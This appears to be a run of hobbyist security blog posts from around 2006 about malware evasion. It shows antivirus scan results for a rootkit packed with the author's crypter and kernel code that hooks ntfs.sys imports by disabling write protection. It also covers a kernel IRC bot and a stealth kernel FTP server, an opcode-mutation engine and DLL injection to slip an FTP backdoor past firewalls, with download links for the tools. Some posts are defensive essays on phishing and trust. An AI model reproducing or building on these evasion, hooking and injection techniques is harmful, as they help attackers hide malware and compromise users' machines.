Ok, so it's a year since i released a POC packer called code crypter. What's changed since then? Has detection improved or not...

To make the test fair, i firstly changed the entry stub in a very minor way (switched the order of some pop's and the nops, hardly significant). This yielded the following results when crypting the popular rootkit hacker defended (using option 1 to crypt the resources too): (I used the popular site VirusTotal here)

Antivirus Version Update Result
AntiVir 7.3.0.21 12.25.2006 no virus found
Authentium 4.93.8 12.22.2006 no virus found
Avast 4.7.892.0 12.21.2006 no virus found
AVG 386 12.25.2006 no virus found
BitDefender 7.2 12.25.2006 no virus found
CAT-QuickHeal 8.00 12.25.2006 (Suspicious) - DNAScan
ClamAV devel-20060426 12.25.2006 no virus found
DrWeb 4.33 12.26.2006 Win32.HLLW.MyBot
eSafe 7.0.14.0 12.25.2006 no virus found
eTrust-InoculateIT 23.73.98 12.24.2006 no virus found
eTrust-Vet 30.3.3271 12.23.2006 no virus found
Ewido 4.0 12.25.2006 no virus found
Fortinet 2.82.0.0 12.25.2006 suspicious
F-Prot 3.16f 12.22.2006 no virus found
F-Prot4 4.2.1.29 12.22.2006 no virus found
Ikarus T3.1.0.27 12.25.2006 Backdoor.Win32.HacDef.073.B
Kaspersky 4.0.2.24 12.26.2006 no virus found
McAfee 4925 12.22.2006 HackerDefender.sys
Microsoft 1.1904 12.25.2006 Backdoor:Win32/Hackdef.P
NOD32v2 1938 12.25.2006 a variant of Win32/HacDef
Norman 5.80.02 12.22.2006 no virus found
Panda 9.0.0.4 12.25.2006 Suspicious file
Prevx1 V2 12.26.2006 no virus found
Sophos 4.12.0 12.24.2006 no virus found
Sunbelt 2.2.907.0 12.18.2006 VIPRE.Suspicious
TheHacker 6.0.3.136 12.24.2006 no virus found
UNA 1.83 12.25.2006 no virus found
VBA32 3.11.1 12.25.2006 BackDoor.HackDef.164
VirusBuster 4.3.19:9 12.25.2006 no virus found

Aditional Information
File size: 89600 bytes
MD5: 7e924ec45ff49c43cf43c4fcc8227b5d
SHA1: 6e659fcf91e447f46dca1d413e02e1d0e870468a
packers: PECRYPT
packers: PE-Crypt.CodeCrypt
Sunbelt info: VIPRE.Suspicious is a generic detection for potential threats that are deemed suspicious through heuristics.

Ok, so a lot of AV are still unable to detect this, with only a minor stub modification...which is worrying.

I then decided to make the test a bit tougher. After re-writing the stub and unpacking algorithm in plain c (from the original in asm), I also changed the choice of parameters for the LCG based encryption. This produced the following results:

Antivirus Version Update Result
AntiVir 7.3.0.21 12.25.2006 no virus found
Authentium 4.93.8 12.22.2006 no virus found
Avast 4.7.892.0 12.21.2006 no virus found
AVG 386 12.25.2006 no virus found
BitDefender 7.2 12.25.2006 no virus found
CAT-QuickHeal 8.00 12.25.2006 (Suspicious) - DNAScan
ClamAV devel-20060426 12.25.2006 no virus found
DrWeb 4.33 12.26.2006 no virus found
eSafe 7.0.14.0 12.25.2006 no virus found
eTrust-InoculateIT 23.73.98 12.24.2006 no virus found
eTrust-Vet 30.3.3271 12.23.2006 no virus found
Ewido 4.0 12.25.2006 no virus found
Fortinet 2.82.0.0 12.25.2006 suspicious
F-Prot 3.16f 12.22.2006 no virus found
F-Prot4 4.2.1.29 12.22.2006 no virus found
Ikarus T3.1.0.27 12.25.2006 Backdoor.Win32.HacDef.073.B
Kaspersky 4.0.2.24 12.26.2006 no virus found
McAfee 4925 12.22.2006 HackerDefender.sys
Microsoft 1.1904 12.25.2006 Backdoor:Win32/Hackdef.P
NOD32v2 1938 12.25.2006 a variant of Win32/HacDef
Norman 5.80.02 12.22.2006 no virus found
Panda 9.0.0.4 12.25.2006 Suspicious file
Prevx1 V2 12.26.2006 no virus found
Sophos 4.12.0 12.24.2006 no virus found
Sunbelt 2.2.907.0 12.18.2006 VIPRE.Suspicious
TheHacker 6.0.3.136 12.24.2006 no virus found
UNA 1.83 12.25.2006 no virus found
VBA32 3.11.1 12.25.2006 BackDoor.HackDef.164
VirusBuster 4.3.19:9 12.25.2006 no virus found

Aditional Information
File size: 89600 bytes
MD5: d68a7de4595b48bf6c395a6e43b6636a
SHA1: 818d526a2721e2b61a426568a865454440375ef2
Sunbelt info: VIPRE.Suspicious is a generic detection for potential threats that are deemed suspicious through heuristics.

So, the conclusion is that AV have improved since I last tested, but only the mainstream ones. KAV is still disappointing given its good reputation, along with F-Protect and Sophos.

(Clearly I am relying on the versions used by Virus Total being up to date).

Out of curiousity, I posted this to Jotti.org and got the following results:

Status:
INFECTED/MALWARE
Packers detected:
PRIVATE EXE PROTECTOR
Scanner results
AntiVir
Found nothing
ArcaVir
Found nothing
Avast
Found nothing
AVG Antivirus
Found nothing
BitDefender
Found nothing
ClamAV
Found nothing
Dr.Web
Found nothing
F-Prot Antivirus
Found nothing
F-Secure Anti-Virus
Found nothing
Fortinet
Found nothing
Kaspersky Anti-Virus
Found nothing
NOD32
Found a variant of Win32/HacDef
Norman Virus Control
Found nothing
VirusBuster
Found nothing
VBA32
Found BackDoor.HackDef.164

Sorry it's been a while since I posted, life sometimes gets in the way...

I thought I'd publish something that I wrote in a private project over a year ago - how to hook the import address table of a driver (ring 0).

Basically, lots of drivers will use kernel api that are exported by ntoskrnl.exe. If you wish to subvert a kernel mode driver (.sys), one easy way might be to hook a function it links against... but you might not want to hook it globally, as it will get picked up by rootkit detectors.

That's where hooking the Import Address Table (IAT) comes in. .sys files are standard PE files, and also have an IAT. This is a table that is populate with pointers to functions that the driver links against.

This is a common technique in user mode, but it's slightly more complex to implement in kernel mode, since the .sys file clears out the import data once the PE loader has finished (meaning you can't find which function is which for an in-memory .sys).

I get around this by working out the RVA of the function pointer from the file on disk and then adjusting this to find the position of the pointer in the loaded version.

The example shows a hook of the function RtlGenerate8dot3Name within ntfs.sys (the RtlGenerate8dot3Name routine generates a short (8.3) name for the specified long file name).

(use the test driver at your own peril, as it can be dangerous for file systems to hook ntfs!).

The usage is quite simple, as shown in the sample code below:

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)
{
DWORD didItWork = 0;
DWORD RVA, Thunk;
UNICODE_STRING driverName;
PVOID base = NULL;
char functionName[] = "RtlGenerate8dot3Name";
char libraryName[] = "ntoskrnl.exe";
//find the base address of target driver
base = FindDriverBase("ntfs.sys");
//DbgBreakPoint();
if(NULL==base)
{
DbgPrint("base not found");
return STATUS_SUCCESS;
}

RtlInitUnicodeString(&driverName, L"DeviceHarddiskVolume1WindowsSystem32driversntfs.sys");
didItWork = GetIATPointerRVAFromBase(functionName, libraryName, &driverName, &Thunk, &RVA );

if(0==didItWork)
{
DbgPrint("IATPointerRVA not found");
return STATUS_SUCCESS;
}

g_IATFunctionPointer = (DWORD*)( (BYTE*)base + Thunk ) + RVA;

if(NULL==g_IATFunctionPointer)
{
DbgPrint("IATFunctionPointer not found");
return STATUS_SUCCESS;
}

g_OriginalRtlGenerate8dot3Name = *(PVOID*)g_IATFunctionPointer;
DbgBreakPoint();
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}

*(PVOID*)g_IATFunctionPointer = MyRtlGenerate8dot3Name;
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
if (DriverObject) DriverObject->DriverUnload = Unload;
return DriverObject ? STATUS_SUCCESS : STATUS_UNSUCCESSFUL;
}

You can download it from:

HookNTFS

hmm here's my first linux project, a c++ framework for developing server apps.

You can inherit from CGenericServer and override the following virtual functions:

virtual void ProcessCommand(char* buf, int clientNumber);
virtual bool Authenticate(int clientNumber);

a simple example is shown via the class CBackdoor that illustrates how you can implement authentication and override the default command processing (by default it will allow commands "quit" and "shutdown").

In GenericServer.h the preprocessor:

#define MAX_CLIENTS 3

is used to specify the max number of concurrent connections. Beyond this connections will be rejected until the queue shortens.

It's pretty simple and easily extended. I might consider adding a LINUX / WIN32 preprocessor and possibly even port it to windows kernel mode (as in the kernel ircbot).

If I do this, it will allow kernel mode servers to be written with ease.

Useful additions to the base class might be BinaryTransferSend/Recieve(char* filename) and probably a load of other stuff i can't think of right now.

It's built under KDevelop, but i guess you can compile from command line using gcc if you don't like this.

You can download it here:

GenericServerFramework

ok this is off topic, but with the digg hype surrounding reactos at the moment, i thought i'd try it out, as i wanted a light weight windows to run under vmware on linux (instead of NT4).

it's a complete joke imho.

example: installed firefox, tried to download and save a zip to desktop. 1st attempt seemed not to save a file, second attempt led to BSOD!!!

i don’t see what the difficulty is here. all they need to do is build the kernel and ensure usermode ntdll.dll has 100% compatibility with windows. Then you could use MS binaries for all other system dll that are effectively wrappers around ntdll.dll (excluding sockets)...ok you might have legal issues here, but this is ok provided you own an old copy of windows, which everyone on the planet does virtually!

Even the mouse movement in ReactOS is flickery and weird. The project has been going for ages now and achieved very little compared to what the unix based OS's have managed. Perhaps they should give up and stick to WINE, which is actually useful.

Who wants another version of windows, free or not? Lets face facts, Windows is bundled with every pc in the world nearly, so having a free version is pointless.

Getting WINE working perfectly would be a much better use of time and effort.

it's been a little while since i posted, don't worry, i've not forgotten about this...

i'm currently working on a kernel mode ftp server, which is about 60% finished. the biggest hurdle is the lack of c runtime functions in the kernel, so i have opted to write my own c runtime library, so that i can port an existing ftpd directly, rather than write my own one using kernel specific api.

This route is more work up front, but the longer term gains should be greater - since you will be able to port more server apps to the kernel with fewer problems going forward.

Now, before some people start flaming me again, bear in mind that a kernel mode ftp server is not such a contraversal idea - it's not that different to a kernel mode web server (which are pretty common these days on linux, and even MS have IIS.sys now).

Well, I was quite surprised by the amount of interest that has been shown in the POC kernelmode ircbot.

So what should come next? Should I continue to develop these kind of kernelmode applications, or is it a bad thing that these come out in the public?

I've seen feedback positive and negative, the arguments against mainly along the lines that malware will become nastier as a result of this code being published...I take an issue with this view.

Ok, so I could have kept this quiet or not have even bothered to write it...but let's get this in perspective. I am a single person in this rather large world, and probably not more than average skilled in kernel mode programming (I'm pretty good in writing usermode applications, but am purely a hobbyist kernel mode programmer).

So, if I can write this POC, you are guaranteed that the full time professional spyware writers, black hat hackers etc are more than capable of this - and I would wager this type of kernel mode application already exists in the wild.

Now, what's better? I keep quiet, and we can all pretend to be safe? (while cybercriminals use this technology in secret...). Or, I should publish every idea and POC I can think of, and share this knowledge with the security community?

I personally favour this being out in the open, as it means the anti-virus and firewall companies can research this type of threat and develop technologies to protect the end user.

This is the general argument for "full disclosure" and I think most will agree it is a policy that works.

I therefore have no moral issues with proceeding with further related research and will be 100% open with the results.

The kernel ircbot was a client network application, the next step will be to write a server network application within the kernel, and I think it will be called "KFtp".

See you next time,

Tibbar.

The world of malware and rootkits has evolved a lot over the last two years, the most significant developments have been in the sophistication of rootkits.

In case the term "rootkit" doesn't mean much, a rootkit is basically a program that subverts the operating system, and allows the attacked to hide certain files and programs from the user. It usually will also provide a hidden backdoor into the system, and will hide network connections made through the backdoor from the user.

Windows rootkits have been generally mixed between "usermode" rootkits - these are ones that run as a normal application (or possibly as an injected dll) and "kernelmode" rootkits, which are actually device drivers running at the highest priviledge level (ring 0).

Now generally, the kernel mode rootkits will hide files, hide network connections and the most sophisticated ones will provide a kernel mode backdoor. This means all the functionality is held within a single driver (.sys file), and it is extremely difficult to detect whether one is installed on a machine.

However, the attacker will rarely be able to provide all the functionality they need purely in a driver, and still need to rely on usermode applications, for things like ftp servers, irc bots etc...

So I thought it would be interesting to see how hard it is, to actually provide this part of the attackers toolkit directly within the kernel mode driver.

One of the developers from rootkit.com called Valerino released a kernel mode socket library, that allows you to create sockets from a kernel mode driver, with reasonable ease. His post is here:
http://www.rootkit.com/newsread.php?newsid=416

I have used this library to create what I believe is the world's first kernel mode ircbot. It's extremely basic in its' current form and will just join a channel plus responding to its' name. But it is a framework that can be built upon and you could in theory write an extremely complex ircbot in this fashion.

Here's a screenshot of the system internals app "DebugView" that allows you to see kernel messages. I have set the ircbot to ouput text received on irc into the debug messages:

As I have very limited time for development, I thought I would share this one with the world...the source lives at:

http://tibbar.gso.googlepages.com/KIrcBot.rar

and I have set this up in Visual Studio 2003. There are two build modes: usermode and kernelmode.

I essentially wrapped up the kernel socket functions Valerino wrote, to conform with Berkley sockets to some extent, which meant that the Irc bot can be compiled as a driver, or as a usermode executable. The reason for doing this, is that it is notoriously hard to develop kernel mode applications and the test process is very slow - by allowing usermode builds, the code can be perfected in usermode, before beginning the kernel mode tests.

If you want to compile using the DDK, the batch file should be used.

Finally, if you want to support my releases, then I would be grateful if you could take some time to visit any sponsors on this page that are of interest to you.

Tibbar.

well, i'm taking a 5 min break from studying to think about my plans for the next release of codeCrypter.

The main weakness of the last release, which allowed a signature to be put on it, was that it used a static stub at entry point and another static stub for the decryption routine.

The second weakness was that the decryption stub was always placed in the same location in the last section of the file.

Finally, it used fixed parameters in the Linear Congential Random Number Generator (LCG) algorithm I used to perform the "encryption".

Now on the other side of things, I have not had any time to get further on my other project CodeMutator, but it had come a fair long way in development, and is capable of mutating stubs...

So the next release of codeCrypter is going to incorporate codeMutator for the purpose of making the stub different every time the packer is used.

The location of the decryption stub will be random in the last section, and random data will be filled in the space made for the stub, rather than leaving zeros (which allows AV to find the stub).

Finally, the user will be able to provide their own parameters for the LCG.

Now...back to revision...

See Ya!

well, as requested, here's a jotti scan of the file.

AntiVir
Found Backdoor-Server/HakDef.EE backdoor
ArcaVir
Found nothing
Avast
Found nothing
AVG Antivirus
Found BackDoor.Generic2.LSP
BitDefender
Found MemScan:Backdoor.HacDef.BR
ClamAV
Found nothing
Dr.Web
Found BackDoor.HackDef.164
F-Prot Antivirus
Found nothing
Fortinet
Found W32/HaKDef.EE-bdr
Kaspersky Anti-Virus
Found Backdoor.Win32.HakDef.ee
NOD32
Found a variant of Win32/HacDef
Norman Virus Control
Found nothing
UNA
Found nothing
VirusBuster
Found nothing
VBA32
Found BackDoor.HackDef.164

Bit of an improvement, but that might just be a factor of time.

Back on 28/12/2005 I released a public version of a crypter called CodeCrypter on the site www.governmentsecurity.org.

The purpose of the release was to demonstrate how ineffective AV are at detecting malware. I also released the source code to the tool there.

Now, over 3 months later, I thought I'd check that all the AV vendors are detecting it... the results are very disappointing.

Using the service Virus Total, here's the results of crypting a rootkit called "hxdef". This is the most popular rootkit used by hackers (www.hxdef.org).

Scan of hxdef packed with codecrypter 0.31, including resource packing at 1 March 2006:

Antivirus Version Update Result
AntiVir 6.33.1.53 03.01.2006 no virus found
Avast 4.6.695.0 03.01.2006 no virus found
AVG 718 03.01.2006 no virus found
Avira 6.33.1.53 03.01.2006 no virus found
BitDefender 7.2 03.01.2006 MemScan:Backdoor.HacDef.BR
CAT-QuickHeal 8.00 03.01.2006 (Suspicious) - DNAScan
ClamAV devel-20060126 03.01.2006 no virus found
DrWeb 4.33 03.01.2006 no virus found
eTrust-InoculateIT 23.71.90 03.01.2006 no virus found
eTrust-Vet 12.4.2100 03.01.2006 no virus found
Ewido 3.5 03.01.2006 no virus found
Fortinet 2.71.0.0 03.01.2006 suspicious
F-Prot 3.16c 03.01.2006 no virus found
Ikarus 0.2.59.0 03.01.2006 Backdoor.Win32.HacDef.084
Kaspersky 4.0.2.24 03.01.2006 no virus found
McAfee 4708 03.01.2006 no virus found
NOD32v2 1.1422 03.01.2006 a variant of Win32/HacDef
Norman 5.70.10 03.01.2006 no virus found
Panda 9.0.0.4 03.01.2006 Suspicious file
Sophos 4.03.0 03.01.2006 no virus found
Symantec 8.0 03.01.2006 no virus found
TheHacker 5.9.5.103 02.28.2006 no virus found
UNA 1.83 03.01.2006 no virus found
VBA32 3.10.5 03.01.2006 BackDoor.HackDef.164

Out of 24 AV vendors, only 4 correctly identified the file as hxdef. Another 3 marked it as suspicious.

This means we have a 30% of AV detecting the file, 3 months after release of the packer. More worryingly, all the popular AV are not detecting it (KAV, McAfee, Symantec).

I suspect that the ones who do detect it, are not recognising the packer, but instead are seeing the Import Address Table of hxdef, which I did not encrypt.

Very poor response time, given the amount of fees that they charge,

I've been working on kernel mode sockets for some time now, which thanks to Valerino from rootkit.com, are available to all of us for free:

http://www.rootkit.com/newsread.php?newsid=416

I extended this library to support the full TCP unix socket library and wanted to write an ftp server that runs purely in the kernel. My only problem was that I didn't want to reinvent the wheel by writing an entire ftp server myself.

[ a kernel mode ftp server will run as a device driver, and will allow the server to operate with complete stealth from both firewalls and usermode port listing applications.]

So I was rather pleased seeing this link arrive in my inbox from codeproject.com this morning:

http://www.codeproject.com/internet/CFtpServer.asp

it's been written in portable code, for windows or linux, which will make my job so much easier...

i will be gone for the next 4 weeks doing some hardcore studing for some professional exams...

see you in a while!

tibbar.

some exciting news, i have purchased the domain www.tibbar.org, which i intend to use to host this blog and a proper website which will contain tutorials and the code to my tools.

note that this blog entry was posted last night, but the entry got deleted by accident, so im reposting...

A little project of mine has been to write a complete code pervertor that would actually modify the opcodes of an executable, to perform equivalent operations but using different opcodes. This would be the ultimate method of "crypting" a file, since the executable in memory would still remain unique and undetected.

I therefore set about creating an engine that modifies the code with equivalent operations.

For instance,

mov EAX, 5;

is equivalent to:

push 5; pop EAX;

so I developed a library of equivalent operations for every x86 instruction commonly used. The engine will:

1) disassemble each instruction in a section of code;
2) select a random equivalent operation;
3) calculate extra space required to fit new equivalent operations and insert space in code;
4) assemble the equivalent operations.
5) scan entire code section looking for jmp's, jcc's, call's and adjusting the address they reference to allow for the extra space inserted in step 3.

Now, this actually has been done before. Zombie wrote code pervertor which could achieve this but only for instructions that have an equivalent instruction of equal size in bytes when assembled. I will be taking this to the next level.

The engine is currently mid-way through development and uses ollydbg's disassembler engine to perform the tedious task of disassembling each instruction.

While it's not complete, here's how it is working on a stub used in a program called Code Crypter that I wrote a while back.

the table view makes it easy to see how it is mutating each opcode. This was using a very limited library of equivalent opcodes for testing purposes.

The big problem at moment is handling things like JMP EAX. I have to use a little stub to adjust for code movement, which is not quite working yet.

The encrpytion process is recursive and pretty slow. It takes about 30 minutes to fully mutate a typical 100k executable. This is because each time it swaps an opcode for an equivalent sequence of opcodes, it must adjust all the JXX, JMP, CALL's in the code, for the padded space added by inserting the new code.

Hopefully I will get some time to work on this again soon.

Tibbar.

I've promised I would explain why you cannot trust Anti-Virus software.

As this is a long topic, I will spread the tutorial over several blog entries, when I have time to spend here.

To understand how to defeat AV, you first need to understand how they work.

The key principle that has underpinned virus detection for the last 10 years, is to recognise viri not by their behaviour, but through a digital signature of their code.

Let me explain this more carefully... the AV program has probably around 100,000 files to scan on a typical hard drive. It's a very slow process to check each file in detail, so what AV do is to have a database of signatures (each signature is a piece of binary code that uniquely identifies the virus), and they simply check each file for a known signature.

This is much quicker than actually trying to determine what a particular executable's behaviour is.

Many AV can also do "heuristic" scanning. This sounds rather clever, but in fact it is not! Usually this means the AV will flag near matches to signatures as well, when performing the scan.

Finally, many AV will perform a "memory scan". This sounds like they are scanning the memory of each running process for known virus signatures. The truth is somewhat different - most AV "memory scans" are actually doing the following:

1) enumerate all running process names
2) for each process, scan the disk image of the process for known virus signatures.

only one or two products actually perform a real memory scan (none of the mainstream AV do a real memory scan).

Ok, so what we now know is that to defeat AV, the malware needs to be free of any bytes of code that match known virus signatures.

This means there are several options open to the hacker. She can:

a) write her own malware from scratch, which will be new and unknown to AV

b) use a "packer / crypter" to alter the binary image on disk, so that AV cannot match any signatures to the "packed / crypted" file.

c) use a code perversion engine, that will substitute equivalent opcodes for each opcode used in the executable's code. This is an extremely complex process and no public tools exist to achieve this fully (I have been working on this, but the tool is not complete). Z0mbie wrote a basic perversion tool some time back. His comments about it are:

Almost all trojans and viruses are detected using simple signatures. Which means that simple crc is calculated on the entire file, or on some parts of the code being checked.

There are thousands of simple signatures already stored in the antiviral databases. Each signature is equivalent to hours of an aver's work.

Using simple length disassembler and some simple rules, it is possible to analyze an arbitrary executable file and change some instructions in it, so that it will run the same as before, but file's checksum will be changed.

This means that antivirus will no longer be able to identify these files by using the previous checksums.

A tool called "Code Pervertor" was written some years ago. It can analyze a PE file and swap a few equivalent instructions, such as "test eax, eax" with "or eax, eax" and vice versa.

Another similar process is "diversification", which means the random changing of some data offsets within all system DLLs and services. Diversification complicates exploitation based on fixed address usage and will probably soon be implemented as a security measure.

Now imagine that some worm "perverted" and "diversified" all executable files it found on a machines over the net. It is likely that the same vulnerable machines will also contain trojans. So when all these trojans become unique, what avers will do?

There are two methods of detecting such a modified files.

First method is to modify files before analyzing, the same as "code pervertors" do, but without the randomization. For example, if some instructions can be interchanged with each other, perform one-way changes only, for example replace all "or eax, eax" with "test eax, eax", but not vice versa.

This method has tons of negative aspects: there can be many different methods of file modification, but some of them can be irreversible.

The second method consists of re-writing all checksum algorithms and recalculating all the signatures. The new checksum algorithm should become invariant to simple modifications such as swapping equal or interchangable instructions with each other.

This method is something like image recognition, where the new algorithm can return an equal result for many different data inputs.

This method also has a serious disadvantage. If someone introduced a new file modification method, the checksum algorithm will have to be once again changed and all the antiviral signatures recalculated.

A few hundred infected machines with automatic "pervertors" will catch all the new just-released worms and viruses and modify 'em "on the fly", automatically spawning new variants.

Option c) if ever achieved will render all AV absolutely useless. Scary eh?

Option a) is a reasonable choice, but our hacker may not have the necessary skills to write all the nasty tools she needs, and also once they are released in the wild, AV will eventually put signatures on them, which will mean she has wasted her time coding them.

This leaves option b) as the best solution to defeating AV at the current time.

Now, what exactly do I mean by packing / crypting?

Essentially, the technique involves taking all the code and data from an executable file, and applying an encryption algorithm to it, to ensure no signatures can be matched on it.

The new "packed / crypted" executable will include the encrypted data and code from the original executable, plus a "stub". The "stub" is a piece of code that can decrypt and reconstruct the original executable dynamically at runtime.

This means that on disk, the crypted executable is undetected to AV scanners, but once it is executed, it will behave and appear exactly like the original file.

A packer is exactly the same as a crypter, except that instead of using an encryption algorithm, it uses a compression algorithm. This makes the file both undetected and much smaller in size.

This all sounds pretty bad from the AV perspective. Fortuntely, in practice, the number of crypters and packers available on public sites is quite small. The AV firms analyse packers and crypters that they find, and alter the AV signatures to detect files that are packer / crypted using known packers / crypters. Some AV will include a decryption algorithm in their scanners, so they can find out what lies beneath!

Now, for some bad news... It is surprisingly easy to create your own crypter, and most private hacking groups have made their own custom crypters or packers.

One public crypter that beat most AV for a period of over a year, was morphine from www.hxdef.org. This is quite an advanced crypter, but given the resources available to AV firms, I was shocked how slowly they responded.

Let me reinforce this point. All private packers or crypters are undetected to AV. This means malware will not be detected by AV scanners, when using private packers or crypters.

So you should never trust you AV when it tells you a file is clean. If that file comes from an untrusted source be very suspicious. Use run as limited user if you must execute it. Also consider using a virtual machine and try using online scanners like http://www.virustotal.com to perform multi-scans against all AV engines - these tend to catch more things, than a single AV.

Next blog will tell you how to write you own crypter...

I just spotted a scary looking rootkit project:

http://www.xfocus.net/tools/200602/uay_source.rar

this is written by a guy called Uay, and it has the makings of a powerful rootkit.

He has hooked the lowest level point of networking in the kernel, the ndis layer, which means he is invisible to software firewalls.

The rootkit at the moment will provide a "cmd.exe" style shell that supports commands such as cd, dir copy, del using native api that are exported by ntoskrnl.exe.

I suspect it will also be invisible to most rootkit detectors, as he is not hiding anything like files, ports etc - although a ndis hook detector will find it.

This reminds me of some ideas I had been working on recently - implementing malware purely in the kernel.

I've made a ircbot that runs 100% in ring0 for fun, using Valerino's socket library for the kernel. Perhaps I will post it here some time soon...

Oh and on a closing note, check out Yorn's blog at: http://yorn.wordpress.com/

See ya.

Phishing is becoming an increasingly big problem on the net. For those of you who are not familiar with the term, Wikipedia defines it as:

In computing, phishing is a form of social engineering, characterized by attempts to fraudulently acquire sensitive information, such as passwords and credit card details, by masquerading as a trustworthy person or business in an apparently official electronic communication, such as an email or an instant message.

When the end user receives an email that for all purposes appears genuine and appears to originate from a trusted source, the psychological effect is to lower the levels of suspicion the user would normally have, when asked to provide sensitive information.

There really is very little we can do to stop Phishers from making carbon copies of websites, spoofing email addresses and even buying ssl certificates to make their site appear more genuine.

The underlying problem here is the way authentication is performed on the internet. When we are dealing with financial services such as internet banking, we currently have a one-way authentication process - the customer is required to prove to the internet site, that she is the legitimate owner of a bank account. This authentication is normally performed through providing a password and perhaps a date of birth.

However, this is really only half the story...

Let us consider an analogous situation in real life. The bank's customer decides she would like to withdraw some cash from her bank. So she visits the branch, identifies herself with a driving license, provides her account details and is successfully served by the branch.

She feels perfectly safe because she knows the bank's branch is genuine and the people working there are to be trusted.

The act of "phishing" does not exist when making physical financial transactions by visiting your bank's branch. Why? Because the economic cost of setting up a fake branch of a bank, employing fake staff is too high, and the risk of being arrested by the police is also very high.

The big problem is that on the internet, the economic cost and risk factors are very low. Any skilled web developer could setup a fake site in a matter of days.

We therefore need a mechanism by which the bank's customer can be assured that the website she is visiting is genuine, and is not being redirected to a phishing site.

This mechanism is very simple: two way authentication. As part of the login process to all internet banks, once the customer has provided part of their password (e.g. 1st, 3rd and last character), the bank's site will provide the customer with a "fact" about them (e.g. your cat is called Garfield). If this information is incorrect or is not provided, the customer knows that the internet site is not genuine and can immmediately terminate the login process, thus safeguarding their account information.

A detailed example of this login process could be formed using two passwords and a "fact" about the user:

1) Bank requests internet banking ID and first password;
2) If first password is correct, bank provide key "fact" to user (e.g. your cat is called garfield).
3) User checks if the "fact" is correct and either leaves the site if it is wrong / missing. If it is ok, then the user clicks proceed.
4) Bank asks for second password, if correct then authentication is complete.

If all financial institutions adopted this login procedure, phishing could be eliminated within the banking sector.

What can we trust as a user? One of the biggest problems in security is that the user seems to place a lower threshold on computing trust than they would in everyday life.

For example, who would you trust to look after your wallet? A few close friends, relatives, banks and officials (perhaps a policeman).

Would you trust someone you just met, or a stranger walking along the street? Certainly not!

What about your door keys? Would you give these to a stranger to look after?

What about something less valuable? Say a bag containing some shopping or even just your coat or umbrella?

My point here, is we are normally very suspicious about people we do not know and will not trust them to look after our possessions.

Ok, now what about computing. Will you open an attachment from an unknown source? Usually not, unless it looks interesting enough (e.g. Britney Spears naked).

Will you visit a website purely based on a link given to you in an email? Probably, if it looks interesting.

Will you click yes to the dialog that tells you to install an ActiveX control to view the webpage? Again, you might if the website was interesting to you (more Britney...)

But in all these computing examples, you are dealing with someone you do not know and therefore cannot trust. It's ok if the 3rd party is someone reputable, like Microsoft etc. But to actually visit the website of an unsolicited email is potentially risky - an analogy might be to walk down a dark alleyway if a stranger says they have a nice surprise for you there - who knows if you will be mugged!

Most security breaches occur due to the user not using the same levels of trust in a computing environment to that they apply in their day to day lives.

Next time your firewall tells you explorer.exe needs to access port blah blah, actually take the time to read the message and make a thoughtful decision as to whether this is ok. If this message has not occured before, then be suspicious.

If you use your computer for internet banking, then treat it with the same level of care that you give to your wallet. Your banking login details are worth much more than your wallet - typically you keep much more money in your account!!!

A sad reality is that even if you have used a virus scanner on a executable file, provided by an untrusted party, you cannot be confident it is safe to run. The fact is that virus scanners only detect known viruses, and it takes very little effort to disguise a known virus to be undetected to the scanners - this is why we suffer the problems of "botnets" inflicting massive financial damage through distributed denial of service attacks (DDOS). Executables should only be trusted if you have purchased them from a trustworthy company, received them from someone you can explicitly trust with computing or you have examined the binary through a disassembler.

The anti-virus companies are not doing their job properly at the moment, and the world is suffering an increased level of DDOS and spamming as a result.

I will be explaining what the deficiancies of virus scanners are in my next few blogs and will demonstrate how they are being defeated by hackers.

Right now, it's time for bed.

well, as it's a cloudy sat morning, i might as well do the next installment in this little series on firewall bypass.

let's review what we now know.

We have a exe like explorer.exe which the end user trusts explicitly. If the software firewall tells Mr X that explorer.exe needs to access the internet, the user is unlikely to disagree.

The malicious hacker has a special program called injector.exe that will use the api CreateRemoteThread to force explorer.exe to run the command:

LoadLibrary("c:windowssystem32\\nasty.dll")

and this will cause explorer.exe to load nasty.dll into it's own memory space and then execute the entry point function DllMain (residing in nasty.dll) passing the parameter DLL_PROCESS_ATTACH to dllmain.

Ok, all good so far, but what use is this to the hacker, if all her backdoors are currently .exe's?

She needs a method of rewriting the backdoor or app as a dll. It turns out this is very simple too...

To understand what needs to be done, we first must understand how DllMain and Main differ...

Here's the prototype for a typical Main:

int main( int argc[ , char *argv[ ]

(sometimes main will not have any parameters)

and here is DllMain:

BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
);

they are quite different and this will cause a slight problem for us. Let's look more closely at DllMain... the only relevant parameter is fdwReason. This specifies why the DllMain is being called. It might be as a response to LoadLibrary == DLL_PROCESS_ATTACH or it could be a response to FreeLibrary == DLL_PROCESS_DETACH. We are only interested in the case DLL_PROCESS_ATTACH.

So how do we proceed... One idea might be to take the source code to an application we want to inject, and change the entry point of the app to DllMain, change the compiler options to compile as a dll and then create our own DllMain that will call the normal main function.

So let's look at a simple app, e.g. the open source ftpd "Indiftpd". This is available for download here:

http://sourceforge.net/projects/indiftpd/

To use indiftpd you normally specify some commandline arguments, e.g.

indiftpd.exe -p1337 -r5000-5010 -Uhax0r -Ppwnedus3r

this will start indiftpd on port 1337 with data port range 5000-5010.

So our very basic idea might be this:

BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{

if(fdwReason == DLL_PROCESS_ATTACH)
{
char param0[256] = "indiftpd.exe";
char param1[256] = "-p1337";
char param2[256] = "-r5000-5010";
char param3[256] = "-Uhax0r";
char param4[256] = "Ppwnedus3r";
char* argvarray[4];
argvarray[0] = param0;
argvarray[1] = param1;
argvarray[2] = param2;
argvarray[3] = param3;
argvarray[4] = param4;
main(5, argvarray);

}

if(fdwReason == DLL_PROCESS_DETACH)
{

}
return TRUE;

}

So let's try this. We recompile indiftpd as a dll and set entry point to DllMain. We then use the injector app (see last blog entry), to inject this into iexplore.exe (for testing). What happens??

Well, I can indeed connect to the ftpd on port 1337. But!!! iexplorer is hanging, totally non responsive. What has gone wrong?

